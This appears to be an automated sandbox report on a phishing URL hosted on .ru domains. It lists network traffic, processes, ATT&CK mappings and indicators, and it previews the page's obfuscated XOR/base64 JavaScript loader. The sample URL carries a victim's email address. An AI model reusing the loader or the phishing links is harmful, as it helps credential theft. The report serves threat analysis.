Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.flipkart.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.flipkart.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: c2uah.yazvbqkl.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: 2tvg7b.nmpjkg.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.flipkart.com

Source: unknown

HTTP traffic detected: POST /gqTcG7twUYwRtxUyPvN52fc472uxn HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveContent-Length: 774sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6QqxqvvabtSH23Pbsec-ch-ua-mobile: ?0Accept: */*Origin: https://c2uah.yazvbqkl.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://c2uah.yazvbqkl.ru/QPImv5ff/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg2UEtuSGFnVVVsZDNjRFY3aTcwWFE9PSIsInZhbHVlIjoiQlVyQ0tWV2pJYnJZcEUyTG9LbFg1dXJmZ0FsckN6V1pWRjZLYytvQ0kvVm4vUnRNVE5qbjlYQ3RVMHdIcThmRGRLbTlFUEM4V3NQWExpaFB3OHhWVE1wNlNtT0RVTnhlV0thalM2TjNnWERZcnVNOG9JbWM0TmR4eWw4SXMvQ04iLCJtYWMiOiJiOGIyYjU1OThiNGU2ZjA4ZTgzMDIyNzQ1YTFlY2ViY2VlNDQ5M2ZjZWM4NmJmOTczMzgxMDk0OTg5N2ZhZmY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjVDRE50TEtXejZvc0UvOHlLeVBjRHc9PSIsInZhbHVlIjoiZE9DYjdQUnIrQXhFcU5PNzZsSzNVRjhabzVZeDNiQzNvWHlleFZiaGkrUXBnT1gvaUxHNUgyelB4UnNiVFpGRUVVUVBKd25uMFNlVUl4NW42bU01ZTJhd1NDWFhFWEQ3YnlBaExDVzJZOVRkcXFtWU9raGpVZ0c1RkZ0SnZ5SVkiLCJtYWMiOiJjZDE1MzRhNmExM2UxOTAzNjU4ODlmMjcxNWFmM2MxMGU1ODNlZDVhYTM5NzQ1ODA5NTUzMTgxNzQwZmNlNWZkIiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 23:47:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l10eH0iXVORBZv4bBYPQViy2I2bwSHcWkaZfgw9iAnVA308kxInVkOCom4xh8Ph5Cba%2Bg0ujP1CDKFv1oolcw0HfCgMm8g4colbdDj7FFIonvwNG9pm1XZvWAwwTB87%2B%2FRBi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=34744&min_rtt=34509&rtt_var=13411&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2048&delivery_rate=78263&cwnd=215&unsent_bytes=0&cid=c2619b65f21d1362&ts=388&x=0"Server: cloudflareCF-RAY: 926a87e0cd1e4358-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=83612&min_rtt=83591&rtt_var=17667&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1705&delivery_rate=36536&cwnd=252&unsent_bytes=0&cid=40532eee2832c4b8&ts=732&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 23:47:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4uhYeyHDq0WZinUZK0VUt3RS91PXcjRXLUUkpHXoyDOPYvZfKW77hr%2B4VJJgsDqTfF1H8b2%2FlIRgpnRcCjyAsYokT04EcFI4f3Yh2tG2zg27VdADCJifRzAmLLjO6FBS7hyN"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingServer-Timing: cfL4;desc="?proto=TCP&rtt=8426&min_rtt=8364&rtt_var=2389&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2243&delivery_rate=337360&cwnd=251&unsent_bytes=0&cid=61759cc145e0c9e9&ts=329&x=0"Cache-Control: max-age=14400Cf-Cache-Status: EXPIREDCF-RAY: 926a87e51823557d-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 23:47:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wf4WGSsaM2UhqOSEYXfq93EIxvZ0zFYY96a3%2F6wlLYSV1n1GL6rlyLmGB70aLwiXcuWZP3TdzxsmLzUKHryHNKUS%2BnpqyM2cAv0Wz11YLD356yse0C6q2MFqfT3Xrjz26wM8"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=11880&min_rtt=8290&rtt_var=5141&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2062&delivery_rate=301854&cwnd=240&unsent_bytes=0&cid=d8eca1ba95394aa0&ts=326&x=0"CF-RAY: 926a87ed696e8c71-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_69.2.dr

String found in binary or memory: https://www.flipkart.com

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.72.100:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.4:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.243.32.90:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.243.32.90:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49768 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir1232_1181495523

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir1232_1181495523

Jump to behavior

Source: classification engine

Classification label: mal76.phis.evad.win@22/18@24/11

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2468,i,17262453580644032668,2963908669655429750,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2312 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjessie.smith@aol.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2468,i,17262453580644032668,2963908669655429750,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2312 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 0.2.d.script.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjessie.smith@aol.com	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://c2uah.yazvbqkl.ru/zc9h5KLA97aYiXtDf7w01bNnVOtkaft2ArioILdXr0fq	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/favicon.ico	0%	Avira URL Cloud	safe
https://2tvg7b.nmpjkg.ru/gando$7ntu0	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/gqTcG7twUYwRtxUyPvN52fc472uxn	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/TTYCVJZBMCDQJBLCWRBAD3q3meqvkaul0wmowr3w5st?HVIMOAMLNSBOHPTOLUFHESIPEVX	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/QPImv5ff/	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
2tvg7b.nmpjkg.ru	104.21.80.1	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.130.137	true	false	high
developers.cloudflare.com	104.16.2.189	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
flipkart.com	103.243.32.90	true	false	high
www.google.com	142.250.72.100	true	false	high
c2uah.yazvbqkl.ru	172.64.80.1	true	false	high
www.flipkart.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://a.nel.cloudflare.com/report/v4?s=l10eH0iXVORBZv4bBYPQViy2I2bwSHcWkaZfgw9iAnVA308kxInVkOCom4xh8Ph5Cba%2Bg0ujP1CDKFv1oolcw0HfCgMm8g4colbdDj7FFIonvwNG9pm1XZvWAwwTB87%2B%2FRBi	false		high
https://www.flipkart.com/favicon.ico	false		high
https://c2uah.yazvbqkl.ru/TTYCVJZBMCDQJBLCWRBAD3q3meqvkaul0wmowr3w5st?HVIMOAMLNSBOHPTOLUFHESIPEVX	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjessie.smith@aol.com	false		unknown
https://c2uah.yazvbqkl.ru/zc9h5KLA97aYiXtDf7w01bNnVOtkaft2ArioILdXr0fq	false	Avira URL Cloud: safe	unknown
http://c.pki.goog/r/gsr1.crl	false		high
http://c.pki.goog/r/r4.crl	false		high
https://a.nel.cloudflare.com/report/v4?s=Wf4WGSsaM2UhqOSEYXfq93EIxvZ0zFYY96a3%2F6wlLYSV1n1GL6rlyLmGB70aLwiXcuWZP3TdzxsmLzUKHryHNKUS%2BnpqyM2cAv0Wz11YLD356yse0C6q2MFqfT3Xrjz26wM8	false		high
https://c2uah.yazvbqkl.ru/QPImv5ff/	true	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/gqTcG7twUYwRtxUyPvN52fc472uxn	false	Avira URL Cloud: safe	unknown
https://www.flipkart.com/	false		high
https://2tvg7b.nmpjkg.ru/gando$7ntu0	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=rQqTF4CtgIH48AzalsQ0O9%2F4mGxmmUXEhxrWG1GVb8jgkQZry65do9hxKyXGdA4TxnMsWQBe2O2IJ21qv%2By8991DEakY4qOl%2FUwqcSXfW6ImtOtOsNTzuhqDhqw%2FFwt1DUtZ	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.flipkart.com	chromecache_69.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.64.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.16.5.189	unknown	United States	13335	CLOUDFLARENETUS	false
103.243.32.90	flipkart.com	India	10103	HKBN-AS-APHKBroadbandNetworkLtdHK	false
104.21.80.1	2tvg7b.nmpjkg.ru	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
142.250.72.100	www.google.com	United States	15169	GOOGLEUS	false
172.64.80.1	c2uah.yazvbqkl.ru	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.16.2.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1649699
Start date and time:	2025-03-27 00:45:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjessie.smith@aol.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.evad.win@22/18@24/11
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, sppsvc.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.64.99, 142.251.35.174, 142.251.167.84, 208.89.73.17, 142.250.80.99, 23.9.183.29, 20.109.210.53
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, accounts.google.com, redirector.gvt1.com, slscr.update.microsoft.com, update.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjessie.smith@aol.com

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (17081), with CRLF line terminators
Category:	downloaded
Size (bytes):	22124
Entropy (8bit):	5.924173470266021
Encrypted:	false
SSDEEP:	384:rCTkivYuFnG05/L4XSXAge5EisdxcbPQoiAYm/a8NAKHnoJtlrSlrl:rCk9Gf5D4XSXAv5E9cjqAY2xo3lrSlrl
MD5:	9D7814A4289D8986A994C6FD12AB5693
SHA1:	DD1758AD3DB97DEDF79551E871F6D31B8FCB71E2
SHA-256:	868283AB2214E929E673A2ECCCDF4C167F7AD8266C141636E2F148533B8C27BE
SHA-512:	825C75221B0BD3B5AEB1F28F7059EEBDD7233C4EEFD62B91EFDA7F6590FB7C671DD5B09204B5B9E0A145492880CDD3CCF534011D5806D90D20EACF384FD5BE7B
Malicious:	false
Reputation:	low
URL:	https://c2uah.yazvbqkl.ru/QPImv5ff/
Preview:	<script>..function WcwcPlHLBD(prvHvMabJb, vkDCKblNjt) {..let kHmHyfWpQj = '';..prvHvMabJb = atob(prvHvMabJb);..let BbjdXESbwi = vkDCKblNjt.length;..for (let i = 0; i < prvHvMabJb.length; i++) {.. kHmHyfWpQj += String.fromCharCode(prvHvMabJb.charCodeAt(i) ^ vkDCKblNjt.charCodeAt(i % BbjdXESbwi));..}..return kHmHyfWpQj;..}..var QIjnIBrOou = WcwcPlHLBD(`cCcLQxg0AGEkNy9pSlkFMAQybWpjNwdVFGoeMCIgPi1GUh4pWysmMCkmERxCakJvZ2shPQYfGzdWf2tqPzcaWAEwSkxdeT83GlgBMFQyJSZxdgBFBTQHe3hqLzAGWwJqFy04MCgyBFADIVoiOChjNQJQCWsYKDU2YzcaSAEwG2w9NmNgRgBfdVsiJTw8IAccGzdaLD4rYj4bE094WzI0NyUkHA98TnlLazYvJgFBBXp5SzkgO3QuRB8nACg4K2Q1HF4TbFMgABwrHy8EGSAZLTkcFAYeUhhxRxsADyc3BV1DHiwIMCMEIw9VQygBGxB8fxgFfxkmMzkGJAsSHVU2fQAIHz10HSBVASYZEyEhNWEOUjYsHCM5Fzo2O3NJIjcDIhwUDhhrQwJEI2QMOTAwfx0nHwc5HxthWH0cKAEYZT19Di9nCw83CxQhFB4feBgvBAgfNgIXAXAWDTcAMAwPFQ9VQygBGxB8fxgFSQcdRgdnJBttHXg1dBMIOgMlNltnQQsZCyQcG2EaeBs3OgI5dQIXBWMHHUcXIx8bYVh9HAIfGxITfg4/BEEQMy0tIQsCHWspDRsIOjEgMT9jByBGdT4JDxYFVSZxHiUQKTo2AXAeHiwbOyciBRh4OTc6Aj4EKx0r

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	low
URL:	https://2tvg7b.nmpjkg.ru/gando$7ntu0
Preview:	0

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	18
Entropy (8bit):	3.4613201402110083
Encrypted:	false
SSDEEP:	3:zD:zD
MD5:	1FE410C5598F5205C56E76882159BC19
SHA1:	5D7E8BF16BBBBC15A80A0059499EFD18F3E6F374
SHA-256:	0E5F0BF3C8FA49B4D021A1EDC85D62E8D5DF458C370FCBDEAE422E399841A236
SHA-512:	C768E8EE992CA999FB0106A685AE17B492C79238BCB5207D1CFD91F284CF3BA7E5150D31DB29D3B2F751157634BCE80004E288981E437E4B693F8D94AE5D6FF6
Malicious:	false
Reputation:	low
URL:	https://www.flipkart.com/
Preview:	Site is overloaded

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	low
Preview:	0

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	18
Entropy (8bit):	3.4613201402110083
